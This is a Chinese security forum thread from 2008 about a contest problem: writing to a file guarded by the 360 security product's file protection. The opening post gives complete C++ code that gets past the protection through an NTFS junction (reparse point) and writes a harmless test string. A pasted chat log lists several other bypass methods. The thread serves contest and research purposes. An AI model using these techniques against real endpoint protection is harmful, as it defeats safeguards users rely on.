本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 34203|回复: 170

第5题的另一种解法 [复制链接]

Rank: 9Rank: 9Rank: 9

发表于 2008-12-23 22:51:12 |显示全部楼层
不知道有没有参赛选手用这种方法,DEBUGMAN这边好像没有,不知道看雪那边有没有,反正我没的看到有人提及。

Junction。。。直接帖代码吧,编译后运行会在360game.txt中写入:“THIS IS A TEST CODE! GOOD! OH~YEAH!”

PS: 只在NTFS下有效
悟空,退下,为师一个人就够了

Rank: 9Rank: 9Rank: 9

发表于 2008-12-23 22:53:47 |显示全部楼层
  1. // fuck360_fileprot.cpp : 定义控制台应用程序的入口点。
  2. //
  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #include <WinIoCtl.h>
  6. #include <conio.h>
  7. #pragma pack (1)
  8. typedef struct _REPARSE_DATA_BUFFER {
  9.     ULONG  ReparseTag;
  10.     USHORT  ReparseDataLength;
  11.     USHORT  Reserved;
  12.     union {
  13.         struct {
  14.             USHORT  SubstituteNameOffset;
  15.             USHORT  SubstituteNameLength;
  16.             USHORT  PrintNameOffset;
  17.             USHORT  PrintNameLength;
  18.             WCHAR  PathBuffer[1];
  19.         } SymbolicLinkReparseBuffer;
  20.         struct {
  21.             USHORT  SubstituteNameOffset;
  22.             USHORT  SubstituteNameLength;
  23.             USHORT  PrintNameOffset;
  24.             USHORT  PrintNameLength;
  25.             WCHAR  PathBuffer[1];
  26.         } MountPointReparseBuffer;
  27.         struct {
  28.             UCHAR  DataBuffer[1];
  29.         } GenericReparseBuffer;
  30.     };
  31. } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
  32. #define REPARSE_DATA_BUFFER_HEADER_SIZE  FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer)
  33. #define MAXIMUM_REPARSE_DATA_BUFFER_SIZE  ( 16 * 1024 )
  34. #pragma pack ()
  35. int _tmain(int argc, _TCHAR* argv[])
  36. {
  37.     PREPARSE_DATA_BUFFER    ReparseData;
  38.     WCHAR    Target[] = L"\\\\??\\\\c:\\\\360game";
  39.     HANDLE    hJunction;
  40.     DWORD    BytesReturned = 0;
  41.     //CHAR    Inject[MAX_PATH];
  42.     ReparseData = (PREPARSE_DATA_BUFFER)malloc(MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
  43.    
  44.     ZeroMemory(ReparseData, MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
  45.     ReparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
  46.     ReparseData->ReparseDataLength = sizeof(WCHAR) * wcslen(Target) + 12; //MAXIMUM_REPARSE_DATA_BUFFER_SIZE - sizeof(REPARSE_DATA_BUFFER);
  47.     ReparseData->MountPointReparseBuffer.SubstituteNameLength = sizeof(WCHAR) * wcslen(Target);
  48.     ReparseData->MountPointReparseBuffer.PrintNameOffset =
  49.         ReparseData->MountPointReparseBuffer.SubstituteNameLength + 2;
  50.     CopyMemory(ReparseData->MountPointReparseBuffer.PathBuffer, Target, sizeof(WCHAR) * wcslen(Target));
  51.     CreateDirectory("c:\\\\fuck360lalala", NULL);
  52.     hJunction = CreateFile("c:\\\\fuck360lalala", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
  53.         OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, NULL);
  54.     if (hJunction != INVALID_HANDLE_VALUE)
  55.     {
  56.         if ( DeviceIoControl(hJunction, FSCTL_SET_REPARSE_POINT, ReparseData,
  57.                 REPARSE_DATA_BUFFER_HEADER_SIZE + ReparseData->ReparseDataLength, NULL, 0, &BytesReturned, NULL) )
  58.         {
  59.             // fuck 360game.txt
  60.             HANDLE        hFile = NULL;
  61.             DWORD        NumberOfBytesWritten = 0;
  62.             hFile = CreateFile("c:\\\\fuck360lalala\\\\360game.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
  63.                 OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  64.             
  65.             if (hFile != INVALID_HANDLE_VALUE)
  66.             {
  67.                 CHAR    FuckData[] = "THIS IS A TEST CODE! GOOD! OH~YEAH!";
  68.                 if (WriteFile(hFile, FuckData, strlen(FuckData), &NumberOfBytesWritten, NULL))
  69.                 {
  70.                     printf("fuck success!\\n");
  71.                 }
  72.                 CloseHandle(hFile);
  73.             }
  74.             else
  75.             {
  76.                 printf("fuck Failed.ERRORCODE = 0x%0.8x.\\n", GetLastError());
  77.             }
  78.         }
  79.         else
  80.         {
  81.             printf("FSCTL_SET_REPARSE_POINT Failed, ERRORCODE = 0x%0.8x.\\n", GetLastError());
  82.         }
  83.         ZeroMemory(ReparseData, MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
  84.         ReparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
  85.         DeviceIoControl(hJunction, FSCTL_DELETE_REPARSE_POINT, ReparseData,
  86.             REPARSE_DATA_BUFFER_HEADER_SIZE, NULL, 0, &BytesReturned, NULL);
  87.         CloseHandle(hJunction);
  88.         RemoveDirectory("c:\\\\fuck360lalala");
  89.     }
  90.     else
  91.     {
  92.         printf("Open c:\\\\fuck360lalala Failed.\\n ");
  93.     }
  94.     free(ReparseData);
  95.     return 0;
  96. }
复制代码
悟空,退下,为师一个人就够了

Rank: 4

发表于 2008-12-23 23:00:27 |显示全部楼层
100分。。。

Rank: 3Rank: 3

发表于 2008-12-23 23:03:36 |显示全部楼层
aaaa

Rank: 1

发表于 2008-12-23 23:07:19 |显示全部楼层
看哈

Rank: 3Rank: 3

发表于 2008-12-23 23:13:15 |显示全部楼层
又见强大的create和deviceio组合,顶了

Rank: 1

发表于 2008-12-23 23:15:15 |显示全部楼层
学习

Rank: 2

发表于 2008-12-23 23:45:36 |显示全部楼层
看看西裤哥的牛代码长啥样

Rank: 2

发表于 2008-12-23 23:47:00 |显示全部楼层
看看西裤哥的牛代码长啥样

Rank: 4

发表于 2008-12-24 00:01:39 |显示全部楼层
FAT32下可以使用吗??不能依赖于文件系统啊 .

Rank: 1

发表于 2008-12-24 00:02:35 |显示全部楼层
看下

Rank: 9Rank: 9Rank: 9

发表于 2008-12-24 00:06:42 |显示全部楼层
引用第9楼wowocock于2008-12-23 21:01发表的  :
FAT32下可以使用吗??不能依赖于文件系统啊 .
FAT32不能使用。。。呵呵
这个只能用作NTFS下的一种解法
悟空,退下,为师一个人就够了

Rank: 4

发表于 2008-12-24 00:21:39 |显示全部楼层

Rank: 1

发表于 2008-12-24 00:35:08 |显示全部楼层
我来看看哦

Rank: 2

发表于 2008-12-24 02:50:33 |显示全部楼层
看看

Rank: 1

发表于 2008-12-24 03:31:16 |显示全部楼层
顶~

是NTFS重解析点,应该有人交过。

Rank: 1

发表于 2008-12-24 03:42:13 |显示全部楼层
xyzreg17:28:14
第5题我做了6种方法
xyzreg17:28:29
目前为止有比6种多的么
神奇的MJ001117:28:46
没有  
xyzreg17:31:41
1.SetCurrentDirectory->CreateFile相对路径
2.打开目录然后NtCreateFile
3.DeviceIoControl (利用NTFS的交叉点特性) 加注:又称为NTFS重解析点
4、DefineDosDevice  
5、文件ID
6、批处理:cd +echo
7、批处理方法2:subst+echo

xyzreg17:32:08
方法7和方法4突破的本质一样
xyzreg17:32:24
最起码算5种不同的方法吧?
xyzreg17:32:59
其中1,2,4,6,7通用,无论FAT32还是NTFS
神奇的MJ001117:38:58
126是同一方法
47是同一方法
3不知道你说啥。
5你试过吗?  
神奇的MJ001117:39:32
现在最多做出来的好像有4,5种方法吧  
神奇的MJ001117:39:45
3如果是HARDLINK的话,也算一种方法吧  
xyzreg17:44:19
1和2不是一种吧,实现方法不同唉
xyzreg17:45:11
1和6,4和7本质算一种我赞同
xyzreg17:45:17
但是1和2不算一种的吧
神奇的MJ001117:48:13
lai le  
xyzreg17:48:22
HARDLINK貌似不行,我的3不是HARDLINK,是FSCTL_SET_REPARSE_POINT
神奇的MJ001117:48:33
2是打开后怎么设置  
神奇的MJ001117:48:39
设rootdirectory  
xyzreg17:49:18
嗯,NtCreateFile的一个参数
xyzreg17:49:37
1和2应该不算同种方法的
神奇的MJ001117:49:34
一样的  
xyzreg17:50:20
属于不同的实现唉
神奇的MJ001117:50:27
批处理之所以可以,就是因为ROOTDIR嘛  
神奇的MJ001117:50:30
本质是一样的  
xyzreg17:50:43
对,批处理的本质是一样的
xyzreg17:50:51
6,7其实不算新方法
xyzreg17:51:02
但是1和2我感觉应该算不同的实现方法
神奇的MJ001117:51:22
126是一样的啊,你可以调一下看看  
神奇的MJ001117:51:29
都是设rootdirectory  
xyzreg17:51:56
1和6一样我知道啊
xyzreg17:51:58
晕死
xyzreg17:52:14
4和7也一样,我不是说了么
xyzreg17:52:30
1和2本质是一样,但是实现方法不同
神奇的MJ001117:52:28
我是说1和2都是设rootdriectory嘛  
xyzreg17:52:58
设rootdriectory有不同的方法
神奇的MJ001117:52:58
本质一样就算一种啦~呵呵  
神奇的MJ001117:53:15
其实你已提交的还有3中方法,和你这6种本质不同~  
xyzreg17:53:20
cd的方法其实是SetCurrentDirectory,所以6和1一样
xyzreg17:54:04
hardlink我知道,不过我认为不行
神奇的MJ001117:54:20
hardlink可以的  
神奇的MJ001117:54:21
呵呵  
神奇的MJ001117:54:49
除了hardlink还有3种  
xyzreg17:55:03
hardlink设置的第一步会以源路径读取文件
xyzreg17:55:17
会拒绝访问
神奇的MJ001117:55:21

  
xyzreg17:55:33
我从hardlink原理上断定不行,所以压根没试
xyzreg17:55:37
我过会儿试试
xyzreg17:55:50
FSCTL_SET_REPARSE_POINT可以
神奇的MJ001117:55:58
哦  
xyzreg17:56:17
hardlink你亲自试过?
xyzreg17:56:32
试过可以的话应该就可以
神奇的MJ001117:56:30
没有,我看貌似有人答了,我还给了100分  
xyzreg17:56:42
汗,你压根没试就给分啊
神奇的MJ001117:56:45
我就看了看代码~  
xyzreg17:56:52
。。。
神奇的MJ001117:56:56
找找去 - -   
xyzreg17:57:05
你从流程上想想
xyzreg17:57:09
我感觉hardlink不行
xyzreg17:57:32
而且hardlink只对NTFS,如果没其他方法的话没100分的吧
神奇的MJ001117:58:16
哦 我看了下  
神奇的MJ001117:58:24
人家用的不是hardlink  
神奇的MJ001117:58:26
是其他的东西  
神奇的MJ001117:58:42
是啊,那人题了三种方法,所以100了~  
xyzreg17:58:50
NTFS支持hardlink,symbolic link的,hardlink是用CreateHardLink
神奇的MJ001117:58:48
哦,是120  
神奇的MJ001117:58:52
110  
xyzreg17:59:05
而symbolic link分两种,一种是directory的link一种是file link
神奇的MJ001117:59:11
我知道~  
神奇的MJ001117:59:14
我看了下  
xyzreg17:59:23
FSCTL_SET_REPARSE_POINT是symbolic link的directory类
神奇的MJ001117:59:19
那人也是用重解析点  
xyzreg17:59:27
嗯~
xyzreg17:59:36
那你刚才还说是hardlink。。。。
神奇的MJ001117:59:40
0- - 他写的说明是hardlink

Rank: 1

发表于 2008-12-24 03:47:29 |显示全部楼层
通过上面和MJ聊天记录来看,参赛人中有人用过重解析点,不过肯定的是用的人很少~

PS:7题都做了,不过因某些原因做完没提交
题目123各做了两种方法,题4一种 题5 六种。

通过这次比赛看来牛人确实不少~   

Rank: 4

发表于 2008-12-24 04:49:41 |显示全部楼层
牛人,偷偷学习~~~

Rank: 1

发表于 2008-12-24 11:04:29 |显示全部楼层
看看西裤哥的牛码
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-7-21 13:21 , Processed in 0.042930 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部